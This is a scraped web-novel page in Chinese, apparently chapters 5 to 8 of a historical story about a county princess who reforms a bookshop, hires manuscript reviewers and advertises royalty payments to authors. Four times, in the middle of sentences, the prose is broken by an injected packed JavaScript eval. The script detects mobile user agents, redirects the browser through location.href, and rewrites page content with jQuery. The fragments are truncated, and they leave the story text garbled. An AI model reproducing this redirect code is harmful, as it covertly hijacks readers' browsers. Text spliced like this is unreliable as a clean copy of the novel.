RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062432|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书坊必须报备，张娘子虽然没挂招牌，却私下收稿，还雇了几个书生帮忙誊写。前几日便有人报与老朽，因此今日我才前来。便是今日关了门，这罚金，也是断断不能少的。” 李铮听罢，看了眼脸色变得发白的张娘子，点头朝周嬷嬷示意，语气淡然道：“周嬷嬷，去取些银子来，替张娘子交了。” 坊正揣着银子走远，张娘子紧绷的身子，终于放松了些。 她冲着李铮郑重行了个大礼，语气满是感激：“县主，方才真是多谢您出手相助，要不然我真不知道该怎么办才好了。” 想到李铮刚垫付的银子，她又连忙道：“县主放心，这罚金我一定会还，就是实在无法马上还清。” 李铮抬手扶了一下：“举手之劳罢了，你既是赵夫子介绍的人，冲她的面子，我也不会坐视不管。” “此番前来，我是为了话本的事，赵夫子的短笺里想必写了，你可以先看下。” 看完短笺，张娘子大致知道了来龙去脉，“敢问县主是想要写话本的，还是想要审话本的。您尽管开口，只要我能做到，绝不推辞。” 李铮淡淡说道：“二者都缺，不过写话本的，可以贴了告示对外征集；审稿的却必须有真本事才行，所以这是眼下最缺的。先前的话本，尽是些陈词滥调，我不喜欢。” 想了下又继续说道：“正好你对话本铺子也挺感兴趣，可以考虑来我这试试。接下来铺子还会提高润笔费，你若认识会写的人，也可介绍他们来投稿。” “先试工几天，双方都觉得合适再签契书。月银二两，如果话本销量高，再另加。” 李铮也不急着张娘子今天就定下来，毕竟她们也刚碰面，便直接说道：“不必有顾虑，就算是冲赵夫子的面子，我也会帮忙。不着急今天定，如果有意愿，三天之内，去外城的五柳斋找张大掌柜，到时就说我让你去的。” 张娘子一边听，一边思索自家的现状。 家翁性情耿介，得罪人后一气之下辞官，现在身体不好要吃药。 三个孩子年龄也逐渐大了，以后要花钱的地方多的是。 她想试着办个话本铺，可是没什么本钱，偷偷在家中收稿，又被人举报。 实在是没什么路好走了。 还好赵夫子引荐了自己，这实在是份打着灯笼都找不来的好工作。 想到这儿，张娘子不再犹豫，直接看向李铮：“县主，我已想好，明日就去上工。明日开始我先看看现在市面上流行的话本风格，到时候您再说说您喜欢的，两厢一对比，就知道该怎么审稿了。” 李铮听这张娘子说话挺有条理，很是满足，想着以后还能多找赵夫子帮忙：“行，最近热销的话本我那里都有，明天我让丫鬟送到铺子里，你直接去看。” 顿了顿，她又干脆利落地说道：“先试工七日，这七日月例也按二两银子来，不满一月就按上工天数折算。这般安排，你可能接受？” “我能接受，县主放心，我一定好好干。”张娘子略有些激动地点头，她决不会辜负赵夫子和李铮的信任。 5. 清贫学子陆祈 安王府，李铮刚到家没多久，桂丫就到了。 守门的婆子已经认识了她，知道她是张大掌柜的女儿，在给县主做事情，连忙放她进来。 桂丫有些局促，今日只有她自己过来，张大掌柜还在铺子里忙，不过她想想自己的月银，就又鼓起了勇气。 “给县主请安，今日来是给您汇报铺子的进展。” 李峥听她说话带着颤音，忍俊不禁，语气也多了几分打趣：“别紧张，我又不会吃人。先不着急回话，你吃点点心缓缓。”说完就让边上的丫鬟给她拿些点心吃。 在这种打趣中，桂丫推辞不下就吃了几块点心，点心甜而不腻。吃完总算感觉好了很多。 她觉得县主是个顶顶好的人，不光不嫌弃她，还拿好吃的点心哄她。 定了定心，桂丫开始回话：“县主，铺子里的征文招贴已经拟得差不多，我带了一张样稿过来，您看还要改不。这个招贴主要是给那些书生们看的，上面标了润笔费的新算法。接下来只要是来店里的，伙计都会跟他们说一声。” 桂丫越说越放松：“审稿人，铺子里现下没有合适的，我们也在观察来铺子抄书的书生，暂时还未发现。” 李铮听她一连串说了这么多，还挺有条理，很是满意，毕竟这可是自己亲自选的人。“桂丫，你做得不错，征文的招贴就先这么来吧。” “审稿人，你们不用管了，我这已经找好。明日上午不出意外她会去铺子上工。” “姓张，张慧芝，三十来岁，具体等你们见到就知道了。她做事应当靠谱，是托人介绍的。” “待会儿你走时，正好把我这儿的话本给她带过去，让她把这些话本都点评一下。哪本好，哪本不好，好在哪里，不好在哪里。” 李铮：“可以，这主意不错。再就是定下招贴内容后，等正式对外公布那天，记得安排些爆竹热闹一下，好让别人知道铺子里改了算钱的法子。” 桂丫连连点头：“县主放心，我一定把差事办得妥妥当当。该转达张娘子的，也会跟她一字一句说清楚。” 临走前，见她拿不完话本，李铮身边的丫鬟，又让人派了马车送她回去。 送走桂丫，李铮突然感觉闲下来了。 一时不知道做什么，她便转身去到书房，开始盘算现在的进展。 丫鬟点了香，她的思绪，也慢慢地随着烟雾飘远。 刚有开话本铺的念头时，自己很笃定，来不及想太多，就开始行动。 现在铺子里的人都忙了起来，人人脚下生风，只有她闲了下来。 闲了便开始想东想西，李铮开始感觉迷茫。 自己想把好故事留下来，想让好故事被更多的人看到。 可是真能做到吗。 好故事藏得深，不识字的人那么多，做事的人也会各有各的想法. 要如何做，才能让别人顺着自己的想法来呢。 她有非常多的问题，如果去问父亲母亲，他们说不准会告诉自己，没必要想那么多，家里也不缺钱，没关系的。 可是一想到祖母的那些信，她就觉得太可惜了。 那么好的故事，只有自己家人能看到。 这世上肯定有无数个像祖母一样的人，他们有故事，但是这故事要么深埋于心，要么仅有个别人听过。 太可惜了，实在是太可惜了。 李铮又燃起了干劲，就算最后不成功，她也想尝试。就算失败，她也不后悔。 能救一个是一个。 动起来吧，只要动起来，就有进展，反正不会比现在更差了。 琢磨了下自己要去做的事情，李铮打算再找个有才华的人来，帮着审稿，不用长期，只要初期帮忙点评下就行了。 她觉得两种人比较适合她的书铺，一种是喜欢看话本；另一种是落魄，愿意以此贴补家用。 当然如果又落魄又爱看话本，那就更好了。反正千万不能找那种觉得审话本儿辱没了他的身份的。 年龄大的人容易老古板，还是得找年轻的小郎君。 对于有才华的小郎君来说，落魄可不是缺点，反而是优点，这样李铮就可以砸钱了，反正她不差钱。 一说起有才华的小郎君，她就想到了自己在国子监常听到的几个人，学识都很不错。 想到这，她赶紧叫来周嬷嬷，挨个问了问那几个书生的情况。周嬷嬷是个万事通，洛川城里官宦间关系错综复杂，她基本上都能说出个一二三来。 排除掉做事风格不喜欢的，最后选中了陆祈这个人，父亲是正五品国子司业，比较清贵的京官。之前李铮听说过他，是个俊朗的小郎君，年未弱冠已是秀才，名声不错，应当不是那种孤高的人。 她先去问一问，想必即使陆祈不愿意，也不会觉得问一问就辱没了他。 李铮没拖延，当即就让仆人备好马车，去到学院。 学院的仆人见到李铮，连忙上前请安：“给县主请安，赵夫子这会儿还在上课。” 李铮摆了摆手：“无妨，我在此等候即可。你们只管去忙，不用特意招呼我。” 说完又让丫鬟们拿出躺椅，摆在桂树下。现在天渐渐热起来，她可不想在太阳下一直晒着等人。 赵夫子一进院子，就看到李铮在等自己，脚步顿了顿，无奈地赶紧说道：“先说好，如果你是想说张娘子不肯应下这差事，那我也没办法。而且我身边，也无其他朋友可推荐。不然你去问问其他夫子。”说到这她眉头都舒展了，觉得这是个不错的主意。 “夫子！”李铮连忙起身：“张娘子已经答应来书铺上工。这次来是想让您再帮忙引荐下陆祈陆秀才。您放心，如果他不愿意，我决不强迫。” 赵夫子：“那你得跟我保证，不能耽误他读书习字，今年秋天他要下场考科举。” 李铮笑着说道：“夫子，您还不放心我吗？我就是想找他帮个忙，只要他抽点时间帮帮我就好了。” 赵夫子：“我先去帮你问下他的想法，要是行，你们就见面聊；要是不行，你就放弃打他的主意，能做到吗？” 见李铮点了头，赵夫子这才往外走。过了大约半炷香，她又进来了，这次身后跟着一个穿着深色襕衫的男子。 传言丝毫没夸张，陆祈果然是个眉目俊朗的小郎君。 赵夫子大致介绍了下情况，因他还要上课，就把地方让给他们，匆匆忙忙回去了。 陆祈之前只是听说过李铮，没想到今天竟通过学堂夫子找他，还是为了话本这样的事情。他有些好奇，就亲自来看看到底怎么回事了。 院子静悄悄的，陆祈能感受到微风在轻轻地吹，阳光透过树叶细碎地映在李铮脸上，很白净。 李铮微微抬头看向陆祈，他有些高，估摸着能比自己高一个头，眼睛下面还有颗小痣。 陆祈低头做了个揖礼，声音清晰：“晚生陆祈，见过县主。” ”你就是陆祈吗？之前我也在书院上课，只是碰巧我们没碰到过。今天是我托赵夫子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062433|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮忙引荐，你若是觉得不便，也不必勉强。” 陆祈用手轻捻了下衣衫：“县主能否详细说下，具体是想要什么样的话本。” 声音还挺好听，李铮心里默默夸赞了句，看向他说道：“有意思即可，不要那些陈词滥调的。” 李铮想着，科班出身的才子，对书铺来说还是很有必要的，为了说服他，她打算多说几句。 “我喜欢看话本，我觉得有些故事被埋没很可惜，所以想通过书铺去收集，也就是征集话本；后续也会收集口述故事，这样不管识字与否都可以讲故事。” “好的故事应当被更多的人看到，为了鼓励他们，我会将润笔费由买断制，改成分成制。” “现在书铺，虽然已有一个审稿人，但是我不确定她的水平，所以想再找一个有才学的人帮忙看看。” “不会占用你太长时间。应该只用帮忙两次，第一次是点评现下市面上卖得好的话本，大概十来本；第二次是书铺改润笔费之后，再帮忙看个十来本。” 陆祈有些没想到，李铮竟想了这么多。他挺直脊背，语气沉稳：“可以。这两天我再整理些平时看的书，届时让人把书单送到府上。你若有什么偏好，也可以提前告诉我。” 想了下，他又补充道：“不过今年秋天我要下场考试，怕是只能空闲时间帮忙。” 因着陆祈愿意帮忙，两人又都是书院学生，李铮随意了不少：“按你的节奏来就行。若是因为这个影响你科考，赵夫子怕不是要提刀来找我。” 陆祈听完，没忍住笑了出来。 李铮自觉两人已经熟悉，好奇问道：“刚赵夫子讲你已是秀才，那岂不是说很聪明。你背书当真能过目不忘吗？往日在书院，可曾被夫子罚过站，或者被罚过抄书？” 陆祈避开她亮晶晶的目光，开始回答她一连串的问题：“基本可以过目不忘，不过有好几位同窗也能做到，不单我一个。说是过目不忘，其实久了也会忘，还是要常温习。没被罚过抄书，罚站倒是有。” 李铮没想到过目不忘的好学生也会被罚站：“你竟也被罚站过，是因为上课走神吗？” “当然，我也会有走神的时候，如果被夫子抓到，再赶上夫子心情不好，就会被罚站。” 李铮听到陆祈说他也被罚站过，就忍不住笑了起来。 看来神童和自己也一样，她得到了些心理安慰。 看李铮笑得神采飞扬，陆祈也轻声笑了起来。 想了想，李铮又继续说：“你有什么想要的谢礼吗。没有的话我就自己看着安排了。” 陆祈觉得和李铮谈谢礼有点怪，但是又担心，自己这时候说不要谢礼，会被认为是想图谋更多。纠结片刻，还是应了下来。 陆祈低头想了下，轻声说道：“那这两日，我先整理些看了觉得还不错的书，把书单送到府上，你把感兴趣的圈出来，我让人把书送过去。您看可还行？到时若有不喜欢的也可跟我说下。” 顿了顿，又继续道：“这样县主就不用一直空等新话本了。” 李铮：“当然可以，这主意真好，多谢你费心。如果想找你，是到书院吗？” 陆祈：“是的，如果觉得书院人多送信不方便，也可送到家中。家父是国子监司业，我并不常住宿舍。” “好，我会记下来的。”李铮抬头看向他：“不耽搁你上课了，今儿就先这样，我们改日再聊。” 陆祈点了点头，拱手应道：“县主，那在下就先行告辞。” 6. 书铺商议 吃过晚饭，没多停留，陆祈就一头扎进书房，开始东翻西找。 太阳西沉，只隐约看得清书脊上的字。陆祈又点了灯烛，火光映得书架都亮了几分。 “郎君，您这是要找什么，我来给您找吧。”一旁的老仆赶忙上前问道。 “张伯，你去歇着吧，今天我自己来就可以。”陆祈头也没抬地继续说道，他打算今天就把家里自己觉得不错的书找出来。 家里本来藏书就多，加上这两年他也时不时买书，就更显得多了。 总算找得差不多了。一共找出来十来本儿，他动作没停，又去到书桌前，一本本翻开，脑子里开始走马观花浮现起当时的感受。有畅快的，有开心的，还有些是平静的。重新触摸这些书，好像回到了过去。 踱步到书桌前，他开始按照往常的习惯，洗净砚台，倒入清水，取出用了一半的墨锭，慢慢画圈研磨。等心绪慢慢平稳下来，铺好纸张，开始写字。 这次点的灯烛更亮，烛光打在桌面上，映得陆祈的侧脸都带上了暖意，房间里一时只能听到笔锋划过纸张的刷刷声。 天完全黑了，陆祈终于忙活完了。喊来张伯，让他安排人明天送去安王府给李铮。 张伯心里有些惊讶，自家小主人之前都是一心只读圣贤书，难道是年龄到了总算开窍了。 不过不管心里怎么想，张伯脸上还是那副面无表情的样子。 第二天上午，李铮去了书铺。书铺还是平日那副人不多的样子。 一到书铺，她就看到了正在和张大掌柜说话的张娘子。眉眼舒展，精气神比上次好不少。不知为何，她感到自己也舒展了。 笑着看向张娘子：“初到书铺，你可还适应？” 张娘子：“多谢县主挂念，这儿一切都好。张大掌柜和桂丫也很照顾我，我有不懂的都会向她们请教。” 李铮点了点头：“那就好。”又看向她们三个：“手上有工作的暂且交给其他人，我们去二楼静室商议下最近的安排。” 一行人抬步上了二楼，还没进静室，她就被茶杯映出的光刺了下。 李铮只好微微偏头，朝张大掌柜嘱咐：“这光照到杯子上太晃眼，回头记得用素色窗纱挡一下。” 她定了定神，看向三人：“你们谁先开始。” 三人互相看了一眼，商量了下，决定张大掌柜先来，桂丫做补充，最后是张娘子。 张大掌柜从袖中取出张纸，开始细说铺中印书的各项成本，以及润笔费分成算法。 李铮听他说完各种数字，总结了下：“所以重点是，销量在二十本以下的，老方法收入更多，二十本以上的新方法收入多。不过五百文一册的话，普通百姓买的不多吧，太贵了。” 张大掌柜：“县主说得没错。而且识字其实是个门槛，买不起话本的通常也不认识字。” “原来是这样啊——”李铮声音低了下来：“以后我们只做好话本。也就是说，话本质量非常重要，只要话本质量好，我们就能通过雕版降低本钱，然后让更多的人能看到我们的话本。” 三人纷纷点头应是。 桂丫则插言补充了些散客偏好。 待二人说完，张娘子身子挺直，语气恭敬：“县主，正想跟您汇报，这两天我把您给的话本儿都看了一遍。这是我写的点评。” 说完将纸张递给李铮，然后继续说道：“这些话本主要分四种，狐仙、断案、风月、文人轶事；当然也会有游记，不过那种比较少。” “有些话本不好看其实不是题材问题，是写书的人文笔太差，同样是讲断案的，写得好的让人拍案叫绝，那些不好的让人昏昏欲睡。不过题材基本决定了谁想看，比如普通百姓就不太爱看风月话本。” 张娘子：“这次征文，我们可以只限定大的范围，比如狐仙，断案，风月都收，不限定数量，只要质量好我们就出版，反之如果质量不好，我们就一本也不出。” 想到新的润笔费，又想到了自己经历的，张娘子接着说道：“实打实的银钱，肯定不少人愿意来的。而且买书的人知道我们润笔费高，也会觉得好看的话本在我们这。” 指尖轻敲桌面，李铮想了想又说道：“还要想办法让店铺热闹起来，让大家知道我们，这样就算不往我们这投稿，也会愿意买来看看，毕竟我们这润笔费可比别家书铺厚多了，这是咱们的底气。” 说完又看向张大掌柜和桂丫：“宣传先按照上次说的来。一是发动来店铺抄书的书生；二是雇些小孩走街串巷散招贴；三是金竹带人去瓦子贴。” 顿了顿，李铮又说道：“先雇上十个小孩，吆喝十天，需要口齿伶俐，能背住词儿。包午饭，工钱的话你们看着定。那雇人和做衣服就由你来负责。” 桂丫连忙应下：“县主放心。雇人的事我们那半大小孩多，争取今天招好，明天让他们背吆喝词。工钱的话，您看十五文成吗，这个价格相比市价略高一些，方便雇人；衣服的话，明天可以做好。” 李铮轻轻颔首：“那就明天前桂丫你把雇人和做衣服的事儿办好；张娘子你负责想吆喝词，最好朗朗上口。有什么需要商量的，可以找张大掌柜或者我。后天一早，店铺门前放鞭炮，然后开始往外发招贴。这个时间能做到吗？” 三人均点头应是。他们最近干劲十足，只觉书铺的生意定能蒸蒸日上，往后的日子肯定能越过越好。 事情商量完，三人便各自忙去了。 张娘子在二楼雅间思索吆喝的词儿，琢磨怎样才能朗朗上口。 桂丫从二楼雅间跑回家，跟母亲王氏讲要雇人和做衣服的事。 王氏听完就道：“要不衣服咱自己来，这样就能挣更多的钱。” 桂丫当即拒绝：“娘，你这么做划不来，我们还得忙着雇人，雇人也不是谁都行，肯定还要挑的，要机灵的。” “衣服我想了一下，先做马甲就行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062434|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，毕竟高矮胖瘦都不一样。做衣服的人，我们就找隔壁的赵裁缝，她的手艺好，布料就用常规的青色棉布就行。跟我们五柳斋一看就搭配，而且也耐脏。价钱我不懂，娘你估个正常价给她就行。” 王氏一想确实是这个道理，便不再多言。 她收拾停当，脚下生风地去到隔壁赵裁缝那，跟她说定做衣服的事，赵裁缝一听来介绍生意的，还连忙拿出点心招待。 总算从连连道谢的赵裁缝那脱身后，王氏没顾上歇口气，又去到巷子口，大家平日没事做时最爱在那闲聊。 大声咳了两声，等众人看过来，便开始说道：“大家伙们看过来，前两日说的要雇半大小子的事情有着落了。东家说了，要雇10个人，包午饭。不要求是大人，口齿伶俐的半大小子就行，一天15文，就是走街串巷发发招贴。想来的赶紧找我报名，自家没有合适的，亲戚家的也行。但必须得是靠谱的人，这可是县主家的书铺。这回做的好，以后肯定还有机会。” “王娘子，你说得这真的假的。” “县主家的书铺，怎么会从我们这儿雇人。” “半大小子就能一天15文！” “竟然还包午饭！” “要雇多少天呀？” 王氏感觉一个又一个问题砸向了她。没得办法，她只好挑了几个最主要的问题，然后提高嗓门大声答道：“是真的，都是真的。暂时先雇十天，后面有需要就再说。” 喘口气，又继续扯着嗓子喊道：“你们也都知道我夫家在县主铺子里打工。再说了我跟你们都住在一条巷子里，天天低头不见抬头见的，怎么可能骗你们。想也知道不可能。大家说，是不是这个理儿！” 众人热情洋溢地附和，脸色带着止不住地笑容。他们自家卖力气的劳力一天才三四十文，不包饭，还累得腰酸背痛。 这活儿只需要半大小子发发招帖，不用卖力气，就有十五文，而且还包饭。 半大小子又经常没人要，做学徒吧，动辄被打骂。这么一看，发招帖真是再好不过的活计了。希望这县主铺子以后能经常招人。 一想明白这些，也顾不得闲聊了，赶紧给自家孩子报名。 “王娘子，我家顺子，机灵活泼。一定要选我家顺子啊！” “王娘子，看看我家石头，最是懂事靠谱，去年过年你还夸过呢。” …… 李铮从书铺出来后，便带着丫鬟去了湖边散步。 阳光刚刚好，风里时不时还会传来大人的说笑声，小孩子的欢呼声。 走着走着，她看中了一株杨柳，既不太大，也不太小，刚刚好。 便让丫鬟们把躺椅放好，然后慢悠悠地躺上去，盖上薄毯，闭上眼睛，嘴上哼着小曲。 惬意极了。 李铮也不着急回家，她就这样舒舒服服地在湖边消磨了大半个时辰。 伸个懒腰，终于，李铮准备打道回府了。 7. 热闹起来 一回到家中，李铮就听到丫鬟迎上来说有人给她送信。 在外顶着头饰戴了大半天，还是有些累。 李铮一边让丫鬟拆掉头上的首饰，一边说道：“估计是陆祈让人送来的，拿来我看看吧。” 丫鬟笑着应声：“县主猜得没错，这信是陆郎君上午使人送来的！” 李铮有些惊讶：“他说要写个书单给我，没想到竟然这么快，这下总算又有好书可以看了！” 信封简单的用浆糊和纸捻子封了口。李铮用手摸了摸，发现比想象中的厚，估摸着得有七八页。她一边拆，一边纳闷，陆祈写个书单而已，怎么整这么厚。 拆开才发现，原来除了书单，他还写了自己当时的感受和简单点评。 这还是头一回，有人来信和李铮交流看书的感受。她索性让丫鬟们摆上躺椅，直接去小花园里看了，那儿更舒服。 书单里一共有十来本书，主要是游记和断案类。有的记录风土人情，有的是各种古迹见闻，最让人惊讶的是竟还有一本讲各地饮食的，总之各有千秋，李铮每本都想看。她猜想陆祈家的人应该都非常喜欢看书，怪不得他爹是国子监司业，他是小神童。一时也分不清他们家是喜欢看书在先，还是学问好在先了。 断案类的话本，内容多是比较常见的凶杀案故事，不过陆祈信里讲书单里的这几本，文采很好，各种线索环环相扣，很是值得一看。 李铮觉得自己可以暂且先相信他，毕竟信里说得头头是道。她打算把这些书都借过来，到时候每看完一本，就比对着陆祈的信，看看是否一样。想想就开心，一时也顾不上躺了，她要赶紧去书房写信，写完安排金竹送过去。 这几天金竹只是跟着她，还没让他单独跑过腿。唯一安排的贴招贴的事情，又一直没能开始。 金竹既是阿爹派给她的，又是金管家的孙子，一直放着不用不太好，容易让人不满。 接下来有些事可以安排金竹帮忙盯着，看下可不可用，可用之后就可以多用了。 金竹接到吩咐时，还有些激动，县主终于想起他了。 之前他一直没有正经主子，虽然二郎君那边可能前程更好，但那边出头也难；大娘子性情好，这几天安排书斋做事也不糊涂，还喜欢发钱，想必自己只要跟着大娘子好好干，以后也不差，说不准以后还能混个外院大管事当当。 他打定主意，以后一定要好好给大娘子做事。 李铮这一觉睡得格外沉，起来时窗外日头爬得老高。 赶到书铺时，张大掌柜正在给那些新来的半大小孩儿训话。 十个孩子站得笔直，六男四女，身上统一穿着新做的蓝色棉马甲，看着就清爽。 “县主金安。”一看李铮到了，张大掌柜躬身行礼：“这都是昨天雇来的半大孩子，手脚麻利。这会正教他们学规矩。等下会给他们分配街巷，再让他们把吆喝词儿背熟，明日就可以去跑腿了。” 李铮看向张大掌柜：“明日先让他们在店里候着吧。头一天，保不齐有不少来打听情况的。要让他们做到，有人问起就能答；真碰到答不上来的，就推给你和桂丫。” 又转身正对这些小孩：“下午会安排两场考核，第一场就通过的，明天中饭额外加个鸡腿。没通过，还会再给一次机会，也就是第二场补考。不过你们可以放心，考核是现场问问题，口头回答就行。不需要会写字。” “此外，往后若有写话本的才人过来，说自己是经诸位引荐而来，引荐之人便多拿份钱。具体章程，待会让张大掌柜跟你们细说。” 这些小孩儿听完忍不住握紧了拳头，还好昨天自己报上了名。一想到只要做得好，就能拿更多的钱，就恨不得马上把词背会，然后出去吆喝。 李铮也被他们的兴奋感染了，一时不知要说什么漂亮话，但她想银钱肯定是最实在的：“好好干，只要干得好，回来都加钱。” 铺子里的人，只要是愿意做事的都挺激动，毕竟干得越好，挣得越多。 第二天一早，书铺门口台子外面就聚了不少人，路过这边知道有热闹可看的都来了。伙计们好说大说，才勉强空出了放鞭炮的地方。 “这五柳斋是要换主家了吗？” “怎么好端端的想起了放鞭炮，昨天老张来通知的时候，我还不相信呢。” “应该不是换主家，我前两天还看到了县主过来。” “难道是县主钱多要给大家发钱。” “你怎么净想好事儿。” 李铮在二楼没下去，她站在窗边，认真地听着外面的声音。 噼里啪啦，噼里啪啦，终于静下来了。 台上的张大掌柜今天穿着簇新的圆领袍，头发整齐服帖，想必用了香膏，看着利落极了。 “给大伙儿问好，我是这五柳斋的掌柜张顺，告诉大伙一个好消息。我们书铺润笔费改分成制了，也就是说这话本儿，卖得越多，你就挣得越多。” “之前想必写话本的都知道，卖得再好跟你也无关。现在你才华越好，挣得越多。” “欢迎诸位来我们书斋投稿。不会写话本也不要紧，以后我们还会征集些小故事，只要你有好故事，我们都收。银钱大家都可以放心，铁定少不了。” 他停了停又继续说：“喜欢看话本的，也可以多来我们家逛逛，以后我们家好话本肯定越来越多。” 张大掌柜台上话还没说完，底下就热闹起来了。 一男子向张大掌柜大声喊道：“你这说的真的假的，你能做主吗？” “老朽必然作得了主，再说了我能跑，店铺也跑不了。” “你们现在是怎么个章程，我要找谁问。” “都有什么要求，从什么时候开始算。” 张大掌柜听着台下一个又一个问题：“大家伙不要急，感兴趣的可以进店铺，有专人给你介绍；不感兴趣也不要紧，捧个人场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062435|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行。” 有几个书生一听，赶紧进了店铺。雇来跑腿的十个半大小孩，也轮流帮着接待。 现场分成了好几拨人，会写话本儿的，冲进店铺找人介绍；不会写但是会买来看的，心里也高兴，知道自己以后有好话本看了；自己不会，但是有认识的人会写的，匆匆忙忙离开；剩下的则是纯粹凑热闹的。 张大掌柜还准备了些花生干果，他偶尔问个五柳斋相关的问题，如果台下有人答了上来，就分些给那个人。一时间五柳斋门口热闹极了，不少人呼朋唤友的过来。 二楼窗边，李铮听着楼下时不时传来的欢呼声，很是满足。 现在消息已经散出去了，等这些人回到家，再跟自己认识的人一讲，想必知道五柳斋的人会更多，投稿的人也会多起来。 李铮慢悠悠地喝着茶，忽然听到敲门声。 进来的是金竹，李铮有些惊讶，他不是去贴告示了吗。 金竹应当是匆匆忙忙赶回来的，脑门上都有了薄汗。他有些气喘吁吁地说道：“县主，贴告示时，东街瓦子的管事讲他那儿的规矩，一张告示五文钱贴一天。如果不付场地费，只要给他们看到就要撕掉。” “我没敢直接做决定，也担心其他管事也有这种规矩，就都问了下。不出所料，他们应当是提前商量好了，都是这个规矩。不过这个价只是最近的，如果他们觉得哪天客人会变多，比如逢年过节，或是有勾栏排了新戏，就会涨价。听说贵的时候要二十文才能贴一天。” 李铮考虑了下，“场地费该给给，瓦子每天人来人往，这钱不能省。一个瓦子大多两个出入口，我们选两个瓦子，定十天即可。要那种说书先生或戏班子多的瓦子，这样说不准以后还能合作。钱的话你找账房支，回来记得把收条交上去。” 金竹连忙点头应是：“小的还见几个茶馆，生意很好，他们店里也有说书先生。也顺带问了问价，两三文钱就能贴，县主您看，要一并贴上不。” “贴，为何不贴。”李铮有些惊讶：“不愧是金管事的孙子，你这脑子倒十分灵光，说不准以后你也能做大管事。对了，贴完记得每天去看看，省得有眼神不好的给我们撕掉。” 金竹听完，笑得眼睛都眯起来了：“多谢县主夸奖，小的一定再接再厉！” 话音未落，桂丫也敲门进来，手里捧着一本薄薄的名册：“县主，刚才楼下来打听的人里，有好几位落魄秀才。平日他们都是靠抄书补贴家用。现下他们都有些担心写了话本没人要。我估计其他人也会有这个顾虑。” 打发走金竹，李铮开始思考。 “这倒是个好问题。”李铮手指不住轻敲桌面。“让我想下，该怎么处理才好？” 她一时也有些为难，如果是话本不收也给钱，别人来骗钱怎么办。不给钱的话，愿意赌一赌的人肯定是有限的。 到底该怎么办才好呢。 怎么才能限制住想来骗钱的人。 8. 书铺后续 到底怎么才能防住骗子呢。 起码得是个真正想写话本的人，不能是个人拿着废稿过来，就给钱。 至少得有个功名，如果没有功名，起码得会抄书。 真想写话本，起码得有大纲，不然就是提前让张娘子审大纲，过了就付钱；不过，也就是耽误了写大纲的功夫。也算是提前止损，降低了风险。 李铮有些纠结，是限制功名，还是提前审大纲呢，再不然两者一起。 到底该怎么做才好呢。 脑中猛地滑过一个念头，她是为了收好故事，不是为了收集落魄文人，当然是大纲最重要。只要大纲好，有没有功名并不重要。 有些会讲故事的人，连字都不识呢。 祖母没考过科举，但她写的游记，比大多数话本都好看。 想明白之后，她心头豁然开朗。当即转向桂丫，手指轻点那几个名字：“这几位秀才顾虑的很正常，毕竟写话本不比抄书，没个准头。若他们还在，你待会便下去告诉他们，就说咱们书铺不是只收完稿。只列了大纲的，我们也收。” 她顿了顿，继续说道：“只要大纲过了，就有钱拿。一人五十文的辛苦钱。” “再告诉他们，成稿一旦采用就有分成拿，卖得越多，挣得越多，到时候就比抄书划算多了。再说了，想挣钱，哪有一点风险不冒的。” 桂丫越听眼睛越亮，连忙把这几句话话记在心里：“还是县主想得周到！我这就记好，定把话给他们带到。除了那些秀才，金竹和那些半大小孩儿那，我也会把话带到。” 想了想，她又说道：“门口告示我也加上。以前写话本的少，肯定不少人都有这个顾虑。” 李铮轻轻点头，笑着说道：“不错，你想得很细致，那就先这么安排吧。” 打发走桂丫，李铮起身站到窗边。窗外是熙熙攘攘的街道，时不时能听到说话声。闭上眼睛，她将上午的事又在脑中过了一遍。 虽说有点小波折，但都及时解决了。还算开了个好头。 有小波折也很正常。只有做了，才知道哪里有问题。不做怎么会知道，在瓦子贴告示还要花钱。也不会知道，即使改成了分成制，那些落魄书生也还是顾虑重重。 因为他们实在没有别的门道挣钱了，全靠抄书补贴家用。日子过得捉襟见肘，经不起一点风浪。 自然而然，他们做什么都如履薄冰，生怕哪里出了问题。 ----------------- 逼仄的小院门口，一个十一二岁的女童一边喊，一边飞快地往院子里跑：“爹，爹，你的话本不用投给墨香斋了，你写得那般好，应该投到五柳斋。刚才我听街上的老翁讲，五柳斋以后话本改成提成制了，卖得越多，挣得越多。不过具体怎么提他就不知道了。” 